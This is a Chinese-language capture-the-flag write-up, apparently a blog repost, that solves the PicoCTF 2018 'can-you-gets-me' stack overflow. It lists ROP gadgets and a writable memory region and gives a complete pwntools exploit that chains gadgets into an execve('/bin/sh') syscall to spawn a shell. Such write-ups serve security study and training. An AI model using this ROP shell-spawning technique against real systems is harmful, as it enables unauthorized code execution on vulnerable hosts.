非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
程序员文章站
2022-05-15 21:48:08
...
前言:
对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。
解题思路
查看保护
只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。
进入IDA查看伪代码
打开IDA,如果是第一次见这种题目就会傻眼了。
题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。
目标:execve(0xb, “/bin/sh”, 0, 0);
既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:
eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0
我们就用ROPgadget来找到我们想要的gadget。
0x080b81c6 : pop eax ; ret
0x0806f02a : pop edx ; ret
0x0806f051 : pop ecx ; pop ebx ; ret
0x080549db : mov [edx], eax;ret
0x08049303 : xor eax, eax ; ret
0x0808f097 : add eax, 2 ; ret
0x0808f0b0 : add eax, 3 ; ret
0x0806cc25 : int 0x80
0x080481b2 : ret
而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?
0x08048000 0x080e9000 r-xp /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me
0x080e9000 0x080eb000 rw-p /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me #毫无疑问,放在这里可写的地方最合适
0x080eb000 0x0810e000 rw-p [heap]
0xf7ffa000 0xf7ffd000 r--p [vvar]
0xf7ffd000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rw-p [stack]
我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。
完整exp:
#! /usr/bin/env python
from pwn import *
p = process('./PicoCTF_2018_can-you-gets-me')
#p = remote('node3.buuoj.cn', 28541)
writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2
pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db
set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0
payload = ""
payload += "A"*28
payload += p32(pop_edx)
payload += p32(writeable_memory)
payload += p32(pop_eax)
payload += "/bin"
payload += p32(mov_eax_to_edx)
writeable_memory += 4
payload += p32(pop_edx)
payload += p32(writeable_memory)
payload += p32(pop_eax)
payload += "/sh\x00"
payload += p32(mov_eax_to_edx)
writeable_memory += 3
payload += p32(set_eax_zero)
payload += p32(pop_edx)
payload += p32(writeable_memory) # 让字符串以空结尾
payload += p32(mov_eax_to_edx)
payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(binsh)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(set_eax_zero)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two) # eax = 0x0b
payload += p32(int80)
payload += p32(ret)
p.recvuntil("GIVE ME YOUR NAME!")
p.send(payload)
p.interactive()